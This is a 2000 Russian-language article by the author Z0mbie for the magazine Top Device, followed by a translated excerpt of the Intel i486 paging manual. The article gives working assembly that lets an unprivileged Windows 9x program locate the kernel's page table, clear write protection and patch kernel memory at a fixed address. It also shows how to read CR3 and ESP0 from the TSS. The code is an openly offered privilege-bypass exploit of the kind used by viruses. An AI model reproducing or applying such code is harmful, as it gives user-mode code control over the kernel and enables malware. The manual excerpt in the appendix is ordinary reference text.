09.05.2000 пишем в kernel из ring3: имеем таблицу страниц [Z0mbie]
 

Глюкавость маздая продожает радовать: судя по всему кроме кернела и кодовых секций программ не предполагалось защищать вообще ничего. Таким образом здесь будет рассказано о том, как под маздаем можно произвести запись в ЛЮБОЕ место памяти не переходя для этого в нулевое кольцо. 8-)

Таблица страниц. Что есть оно? Вся непрерывная физическая память поделена на 4-килобайтные странички, коии могут отображаться в 4-гигабайтное пространство в самые разные его места. Информация обо всем этом деле и хранится в таблице страниц.

Об адресном пространстве, таблице страниц и формате записи на одну страницу можно прочитать в конце этого текста в ПРИЛОЖЕНИИ, коее я выдрал из доки, в чем и признаюсь.

Итак, нашей задачей (как обычно) является произвести НСД - а именно запись в защищенный для записи адрес X. (все это, ясное дело, из PE файла)

О том что в адрес X писать нельзя, можно узнать двояко - либо одной из функций IsBadXXXPtr, где XXX - Read, Write, Code и т.п., либо используя SEH. Вот оба варианта:

1. функция:


                        push    size-in-bytes
                        push    address
                        call    IsBadReadPtr
                        or      eax, eax
                        jnz     __can_not_read
__can_read:             ...

2. SEH:


                        call    __seh_init      ; install seh
                        mov     esp, [esp+8]
                        stc
                        jmp     __seh_exit
__seh_init:             push    dword ptr fs:[0]
                        mov     fs:[0], esp

                        mov     al, byte ptr [address]
                        clc

__seh_exit:             pop     dword ptr fs:[0]; uninstall seh
                        pop     eax

                        jc      __can_not_read
__can_read:             ...

Теперь переходим к вопросу: как пропатчить таблицу страниц. Для начала надо ее найти. В доке написано вот что: старшие 20 бит регистра CR3 суть физический адрес таблицы страниц, младшие 12 бит адреса равны 0 (выравнивание на страницу).

Если в PE файле написать так: mov eax, cr3 то в результате будет получен хуй. А все потому, что инструкция привилегированная, и может вызываться только из нулевого кольца. Правда, екскепшена при этом маздай не генерит, но и EAX не изменяет.

Что же делать? Можно прочитать доку по протмоде, и выяснить, что копия CR3 для текущего контекста (а надо сказать таблиц страниц может быть несколько для разных контекстов) лежит в TSS.

Где взять TSS? Селектор ейный получаем командой STR. (что-то вроде store task register) Далее все по плану:


get_cr3:                sgdt    [esp-6]
                        mov     ebx, [esp-4]    ; EBX<--GDT.base

; кстати, интересная фича: подается AX, а меняется EAX
                        str     ax              ; EAX<--TSS selector
                        and     eax, 0FFF8h     ; <--это может быть убрано

                        add     ebx, eax        ; EBX<--TSS descriptor offset

                        mov     ch, [ebx+7]     ; ECX<--TSS linear address
                        mov     cl, [ebx+4]
                        shl     ecx, 16
                        mov     cx, [ebx+2]

                        mov     eax, [ecx+1Ch]  ; EAX<--CR3

Вот только что с ним делать, с физическим адресом из PE файла? В нулевом кольце его можно было бы транслировать в линейный, а в третьем - хуй. Поэтому такой метод не годится.

Возникает следующий вариант: найти таблицу страниц поиском в памяти. При этом искать мы будем не каталог первого уровня, а сразу таблицу второго уровня, один из двордов которой и будет описанием страницы содержащей нужный нам адрес.

Но чтобы искать в памяти таблицу, надо знать что в ней находится. А этого мы знать не можем.

Но не все так плохо. Вышеупомянутая функция IsBadReadPtr говорит нам, можно ли читать конкретную страничку или нет. А это - уже целый бит. И точно такого же смысла бит (U/S) есть в дворде, описывающем эту же самую страничку в таблице страниц.

Таким образом, вызывая IsBadReadPtr для 1024 страниц мы генерим страницу двордов, в каждом из которых устанавливаем соответствующий бит. А затем в цикле сравниваем каждый из этих двордов с двордом текущей проверяемой странички, но сравниваем не весь дворд а только 2й бит, который в записях таблицы страниц означает readwrite.

Вот так это происходит:


needtbl                 dd      1024 dup (?)

; return EBX=pagetable for addresses BFC00000...C0000000

find_kernel_pagetable:

; создаем свою табличку
                        lea     edi, needtbl    ; наша табличка
                        cld

                        mov     esi, 0BFC00000h ; ESI--адрес текущей страницы

__maketbl:              push    4096
                        push    esi
                        callW   IsBadReadPtr

                        xor     eax, 1          ; 0 <--> 1
                        shl     eax, 2          ; 1 --> 4 (бит 2)
                        stosd

                        add     esi, 4096
                        cmp     esi, 0C0000000h
                        jne     __maketbl

; ищем такую же страницу в памяти

                        mov     ebx, 0C0000000h   ; стартовый адрес поиска
__cycle:
                        push    4096              ; можно ли читать?
                        push    ebx
                        callW   IsBadReadPtr
                        or      eax, eax
                        jnz     __cont

                        xor     edi, edi          ; сравниваем страницы

__scan:                 mov     eax, [ebx+edi]
                        and     eax, 4      ; но так, чтобы совпадал только
                        xor     eax, needtbl[edi] ; 2й бит каждого дворда
                        jnz     __cont

                        add     edi, 4
                        cmp     edi, 4096
                        jb      __scan

                        clc                       ; нашли
                        ret

__cont:                 add     ebx, 4096
                        cmp     ebx, 0D0000000h   ; конечный адрес поиска
                        jb      __cycle

                        stc                       ; облом
                        ret

Вот таким вот вышеприведенным куском кода и находится нужная нам страница из таблицы страниц, описывающая страницы в диапазоне BFC00000...C0000000.

Теперь надо изменить бит RW, скажем для адреса BFF70000. Делаем так:


                        ; ищем нужную нам страницу
                        call    find_kernel_pagetable
                        jc      __damnedsonofabitch

                        ; снимаем защиту
                        c1 = (0BFF70000h-0BFC00000h)/1024
                        or      dword ptr [ebx + c1], 2  ; RW=1

                        ; на всякий случай проверяемся
                        push    4096
                        push    0bff70000h
                        call    IsBadReadPtr
                        or      eax, eax
                        jnz     __exit

                        ; патчим кернел
                        not     dword ptr ds:[0bff70000h]

                        ; устанавливаем защиту взад
                        and     dword ptr [ebx + c1], not 2  ; RW=0

Вот собственно и все, что я вам хотел сказать по этому поводу.

Теперь у вас может (и должен) возникнуть такой вопрос: а откуда в примере выше взялись числа BFC00000 и C0000000 ? А обо всем этом написано в приложении. Ну так вот, кратко. Все 4GB памяти делятся на 1024 куска по 4MB. Таблица страниц первого уровня описывает адреса 1024х таблиц второго уровня. А каждая из таблиц второго уровня описывает 1024 обычных страницы. Таким образом два вышеприведенных числа -- это BFF70000 округленное до 4MB в меньшую и большую сторону соответственно.

И еще. Если вы в примере, где мы считываем CR3 из TSS, измените mov eax, [ecx+1Ch] на mov eax, [ecx+4], то вы поимеете ESP0, то бишь ESP того кода, который вызвал текущую задачу. Клево?

А вот вам работающий пример всего вышеописанного.


ПРИЛОЖЕНИЕ



5.3  Трансляция страниц
-----------------------------------------------------------------

Линейный адрес представляет собой 32-битовый адрес в однородном,
несегментированном адресном пространстве. Это адресное
пространство может являться большим физическим адресным
пространством (т.е. адресным пространством, состоящим из 4
гигабайт оперативной памяти), либо может использоваться средство
подкачки страниц, моделирующее это адресное пространство при
помощи небольшой области оперативной памяти и некоторого
количесства дисковой памяти. При использовании подкачки страниц
линейный адрес транслируется в соответствующий физический адрес,
либо генерируется исключение. Это исключение дает операционной
системе возможность прочитать страницу с диска (возможно,
вытеснив на диск другую страницу), а затем перезапустить
команду, вызвавшую данное исключение.

Механизм подкачки отличается от механизма сегментации тем, что в
данном случае используются небольшие, имеющие фиксированный
размер страницы. В отличие от сегментов, которые обычно имеют
размер, равный размеру содержащихся в них структур данных,
страницы процессора i486 всегда имеют размер 4К. Если
сегментация является единственной используемой формой трансляции
адреса, структура данных, находящаяся в физической памяти, будет
иметь в памяти все свои компоненты одновременно. При
использовании механизма подкачки страниц структура данных может
частично находиться в оперативной памяти, и частично в дисковой
памяти.

Информация, обеспечивающая отображение линейных адресов в
физические адреса и отвечающая за генерацию исключений в случае
несоответствий, хранится в структурах данных оперативной памяти,
которые называются таблицами страниц. Как и в случае
сегментации, эта информация кешируется в регистрах процессора с
тем, чтобы минимизировать число циклов шины, требуемое для
трансляции адреса. В отличие от механизма сегментации, эти
регистры процессора полностью невидимы для прикладных программ.
(Для целей тестирования эти регистры видны программам,
выполняемым с максимальным уровнем привилегированности:
подробности см. в Главе 10).

Мехпнизм подкачки страниц рассматривает 32-разрядный линейный
адрес как состоящий из трех частей, а именно двух 10-разрядных
индексов страничных таблиц и 12-заррядное смещение в таблице,
адресуемой страничными таблицами. Поскольку как виртуальные
страницы в линейном адресном пространстве, так и физические
страницы памяти выравнены по 4Кбайтной границе страниц,
модифицировать младшие 12 битов адреса нет необходимости. Эти 12
битов напрямую передаются аппаратному обеспечению, работающему с
подкачкой страниц, независимо от того, разрешена ли подкачка в
текущий момент, или запрещена. Отметим, что в этом состоит
отличие от сегментации, поскольку сегменты могут начинаться с
любого адреса байта.

Старшие 20 битов адреса используется для индексации страничных
таблиц. Если все страницы линейного адресного пространства
отображались бы в одной таблице страниц в оперативной памяти, то
для этого потребовалось бы 4Мб памяти. Делается это не так. Для
экономии памяти используются страничные таблицы двух уровней.
Страничная таблица верхнего уровня называется страничным
каталогом. В нем отображаются старшие 10 битов линейного адреса
табличных страниц второго уровня. Во втором уровне страничных
таблиц отображаются средние 10 битов линейного адреса, задающего
базовый адрес страницы в физической памяти (который называется
адресом страничного блока).

На базе содержимого таблицы страниц или каталога страниц может
генерироваться исключение. Оно дает операционной системе
возможность подкачать отсутствующую таблицу страниц с диска.
Благодаря тому, что страничные таблицы второго уровня могут
находиться на диске, механизм подкачки страниц может
поддерживать отображение всего линейного адресного пространства
при помощи всего нескольких страниц памяти.

Регистр CR3 содержит адрес страничного блока каталога страниц.
Поэтому он называется базовым регистром каталога страниц, или
PDBR. Старшие 10 битов линейного адреса умножаются на масштабный
коэффициент четыре (число байтов каждого элемента таблицы
страниц) и складывается со значением регистра PDBR для получения
физического адреса элемента в каталоге страниц. Поскольку адрес
страничного блока всегда имеет незаполненными младшие 12 бит, то
такое сложение выполняется методом конкатенации (замещения
младших 12 битов масштабированным индексом).

При доступе к элементу каталога страниц выполняется несколько
проверок: исключения могут генерироваться, если страница
защищена или отсутствует в памяти. Если особая ситуация не
генерировалась, то старшие 20 битов элемента таблицы страниц
используются в качестве адреса страничного блока таблицы страниц
второго уровня. Средние 10 битов линейного адреса масштабируются
коэффициентом четыре (снова это число равно размеру элемента
таблицы страниц) и конкатенируются с адресом страничного блока
для получения физического адреса элемента в таблице страниц
второго уровня.

И опять, выполняются проверки доступа, в результате которых
возможна генерация исключений. Если же исключений не возникло,
то старшие 20 битов элемента таблицы страниц второго уровня
конкатенируются с младшими 12 битами линейного адреса, образуя
физический адрес операнда (данных) в оперативной памяти.

Хотя такой процесс и может показаться сложным, затраты
процессорного сремени на него невелики. Процессор имеет кеш
элементов таблицы страниц, который называется ассоциативным
буфером трансляции адреса (TBL). TBL удовлетворяет большинство
запросов чтения страничных таблиц. дополнительные циклы шины
затрачиваются только при доступе к новым страницам памяти.
Размер страницы (4К) достаточно велик, поэтому по сравнению с
числом циклов шины, затрачиваемых на выполнение команд и
обращение к данным, число циклов для доступа к таблицам страниц
относительно невелико. Одновременно с этим размер страницы
достаточно мал, чтобы память использовалась наиболее эффективно.
(Независимо от фактической величины структуры данных, она
занимает не меньше одной страницы памяти).


5.3.3 Таблицы страниц ----------------------------------------------------------------- Таблица страниц представляет собой массив, состоящий из 32-разрядных элементов. Таблица страниц сама является страницей и содержит 4096 байтов памяти, или максимум 1Кб 32-разрядных элементов. Все страницы, включая каталоги страниц и таблицы страниц, выровнены по границе 4Кб. Для адресации страницы памяти используется два уровня таблиц. Старший уровень называется каталогом страниц. Он адресует до 1К страничных таблиц второго уровня. Таблица страниц второго уровня адресует до 1К страниц в физической памяти. Таким образом, все таблицы, адресуемые одним каталогом страниц, могут адресовать до 1М или 2**20 страниц. Поскольку каждая страница содержит 4К, или 2**12 байтов, таблицы одного каталога страниц покрывают все линейное адресное пространство процессора i486 (2**20 x 2**12 = 2 **32). Физический адрес текущего страничного каталога хранится в регистре CR3, который также называется базовым регистром каталога страниц (PDBR). Программное обеспечение организации памяти имеет опции использования одного каталога страниц для всех задач, одного каталога страниц для каждой задачи, либо некоторой комбинации этих двух опций. В Главе 10 приводится информация об инициализации регистра CR3. О том, как содержимое CR3 может изменяться для каждой задачи, см. в Главе 7.
5.3.4 Элементы таблицы страниц ----------------------------------------------------------------- Элементы страничных таблиц обоих уровней имеют одинаковый формат. Этот формат показан на Рисунке 5-14. 5.3.4.1 Адрес страничного блока ----------------------------------------------------------------- Адрес страничного блока является базовым адресом страницы. В элементе страничной таблицы старшие 20 битов используются для задания адреса страничного блока, а младшие 12 битов задают управляющие биты и биты состояния для данной страницы. В каталоге страниц адрес страничного блока представляет собой адрес таблицы страниц второго уровня. В таблице страниц второго уровня адрес страничного блока - это адрес страницы, которая содержит команды или данные. 5.3.4.2 Бит присутствия ----------------------------------------------------------------- Бит Присутствия указывает на то, отображается ли адрес страничного блока из таблицы страниц страницей в физической памяти. Если данный бит установлен, то страница находится в памяти. Если бит Присутствия очищен, то страница не находится в памяти, и остальная часть данного элемента таблицы страниц доступна для использования операционной системой, например, для хранения информации о том, где находится эта отсутствующая страница. На Рисунке 5-15 показан формат элемента таблицы страниц, когда бит Присутствия очищен. ~~~ 31 12 11 0 --------------------------------------------------------- | | | | | |P|P|U|R| | |Адрес страничного блока 31..12 |AVAIL|0 0|D|A|C|W|/|/|P| | | | | | |D|T|S|W| | --------------------------------------------------------- P - Присутствие R/W - Чтение/З пись U/S - Пользователь/Супервизор PWT - Запись Страницы прозрачна PCD - Кеширование на уровне страниц запрещено A - Доступ произошел D - "Грязная" AVAIL - Доступны для использования системным программистом Примечание: 0 означает резервирование Intel. Не выполняйте определение этих битов. Рисунок 5-14. Формат элемента таблицы страниц 31 1 0 -------------------------------------- | Доступны |0| -------------------------------------- Рисунок 5-15. Формат элемента таблицы страниц для не-Присутствующей таблицы Если бит Присутствия на любом уровне таблицы страниц очищен, когда делается попытка использовать данный элемент таблицы для адресной трансляции, то происходит такая последовательность событий: 1. Операционная система копирует страницу с дисковой памяти в физическую память. 2. Операционная система загружает адрес страничного блока в элемент таблицы страниц и устанавливает бит Присутствия. Прочие биты, например, бит Чтения/Записи, также могут при этом быть установлены. 3. Поскольку в буфере ассоциативной трансляции (TLB) все еще может находиться копия старого элемента таблицы страниц, то операционная система очищает этот буфер. Буфер TLB и способы его очистки рассматриваются в разделе 5.3.5. 4. Выполняется рестарт программы, вызвавшей исключение. Поскольку CR3 не имеет бита Присутствия, который указывал бы на те случаи, когда каталог страниц не находится в оперативной памяти, каталог страниц, на который указывает CR3, должен находиться в физической памяти всегда. 5.3.4.3 Биты Доступа и "Грязная" ----------------------------------------------------------------- Эти биты содержат данные об использовании страницы на обоих уровнях страничных таблиц. Бит Доступа используется для сообщения о доступе на чтение или запись к странице или страничной таблице второго уровня. Бит "Грязная" сообщает о доступе к странице для записи. За исключением бита "грязная" в элементах каталога страниц, эти биты устанавливаются аппаратным обеспечением; однако процессор не очищает ни один из этих битов. Процессор устанавливает биты Доступа на обоих уровнях страничных таблиц до операции чтения или записи страницы. Процессор устанавливает бит "Грязная" в таблице страниц второго уровня, прежде чем выполнить операцию записи по адресу, отображаемому данным элементом таблицы. Бит "Грязная" в элементах каталога страниц не определен. Операционная система может использовать бит Доступа, когда ей требуется создать некоторую свободную область памяти, посылая страницу или таблицу страниц второго уровня на диск. Периодически очищая биты Доступа в страничных таблицах, она может определять, какие страницы были использованы последними. Не используемые страницы являются кандидатами на пересылку в дисковую память. Операционная система может использовать бит "Грязная", когда страница посылается обратно на диск. Очищая бит "Грязная" при пересылке страницы в оперативную память, операционная система может определить, произошел ли какой-либо доступ записи к этой странице. Если имеется копия этой страницы на диске и копия в оперативной памяти не была изменена операциями записи, то обновлять соответствующую копию на диске из оперативной памяти нет необходимости. О том, как процессор i486 обновляет биты Доступа и "Грязная" в многопроцессорных системах, написано в Главе 13. 5.3.4.4 Биты Чтения/Записи и Пользователя/Супервизора ----------------------------------------------------------------- Биты Чтения/Записи и Пользователя/Супервизора используются для защитных проверок страниц, выполняемых процессором одновременно с трансляцией адреса. Более подробную информацию о защите см. в Главе 6. 5.3.4.5 Биты управления кешем страничного уровня ----------------------------------------------------------------- Биты PCD и PWT используются для организации кеша страничного уровня. Программное обеспечение может при помощи этих битов управлять кешированием отдельных страниц или страничных таблиц второго уровня. Более подробную информацию о кешировании см. в Главе 12.
6.8 Защита на уровне страниц ----------------------------------------------------------------- Защита работает как на уровне сегментов, так и на уровне страниц. При использовании плоской модели сегментации памяти защита на уровне страниц также предотвращает недопустимое взаимное влияние между программами. Каждая ссылка к памяти контролируется на удовлетворение проверок защиты. Все проверки выполняются до начала цикла обращения к памяти; любое нарушение защиты предотвращает начало этого цикла и генерирует исключение. Поскольку эти проверки выполняются параллельно с трансляцией адреса, они не влекут дополнительных затрат времени процессора. Существует два вида проверки защиты на уровне страниц: 1. Ограничения на адресуемый домен памяти. 2. Проверка типа. Нарушение защиты приводит к генерации исключения. Механизм исключений описан в Главе 9. В данной главе описаны нарушения защиты, ведущие к исключениям. 6.8.1 Элементы страничных таблиц содержат параметры защиты ----------------------------------------------------------------- На Рисунке 6-10 показаны поля элемента страничной таблицы, которые управляют доступом к странице. Проверки защиты применяются к страничным таблицам как первого, так и второго уровня. 6.8.1.1 Ограничения адресуемого домена памяти ----------------------------------------------------------------- Для страниц и сегментов понятие привилегированности интерпретируется по-разному. Для сегментов существует четыре уровня привилегированности, лежащих в диапазоне от 0 (высший уровень привилегированности) до 3 (низший уровень привилегированности). для страниц существует два уровня привилегированности: 1. Уровень супервизора (U/S=0) - для операционной системы, прочего системного программного обеспечения (например, драйверов устройств), а также для защищаемых системных данных (например, страничных таблиц). 2. Уровень пользователя (U/S=1) - для прикладных кодов и данных. Уровни привилегированности, используемые в сегментации, отображаются в уровнях привилегированности страниц. Если CPL равен 0, 1 или 2, то процессор работает на уровне супервизора. Если же CPL равен 3, то процессор работает на уровне пользователя. Когда процессор работает на уровне супервизора, все страницы являются доступными. Когда процессор работает на уровне пользователя, доступны только страницы, имеющие уровень пользователя. 31 12 11 0 -------------------------------------------------------------- | | | | | |P|P|U|R| | | Адрес страничного блока 31...12 |Доступн|0 0|D|A|C|W|/|/|P| | | | | | |D|T|S|W| | -------------------------------------------------------------- R/W Чтение/Запись U/S пользователь/Супервизор Рисунок 6-10. Поля защиты элемента страничной таблицы 6.8.1.2 Проверка типа ----------------------------------------------------------------- Механизмом защиты распознаются только два вида страниц: 1. Доступ Только для Чтения (R/W=0) 2. Доступ на Чтение/Запись (R/W=1). Когда процессор работает на уровне супервизора при очищенном бите WP в регистре CR0 (в состоянии бита, соответствующем инициализации при сбросе системы), все страницы являются одновременно доступными для чтения и записи (признак защиты записи игнорируется). Когда процессор работает на уровне пользователя, то для записи доступны лишь страницы уровня пользователя, помеченные признаком Чтение/Запись. Страницы уровня пользователя, помеченные для Чтения/Записи или Только для Чтения, являются доступными для чтения. Страницы уровня супервизора с уровня пользователя недоступны ни для чтения, ни для записи. При попытке нарушения прав доступа к защищенным страницам генерируется исключение общей защиты. В отличие от процессора 386 DX процессор i486 позволяет защищать страницы уровня пользователя от записи в режиме доступа супервизора. Установка бита WP в регистре CR0 включает чувствительность режима супервизора к защите страниц от записи в режиме пользователя. Это средство полезно для реализации стратегии "записи-на-копии", используемой некоторыми операционными системами, например UNIX, для создания задачи (это средство также называется порождением параллельных процессов или просто порождением). При создании новой задачи можно скопировать все адресное пространство порождающей задачи. Это дает порожденной задаче полный, дубликатный набор сегментов и страниц порождающей задачи. Стратегия "записи-на-копии" экономит область памяти и время, отображая порожденные сегменты и страницы в тех же сегментах и страницах, что используются порождающей задачей. Частная копия страницы создается только в случае, когда одна из задач выполняет запись в эту страницу. (x) 2000 Z0MBiE,
http://z0mbie.cjb.net Статья для журнала Top Device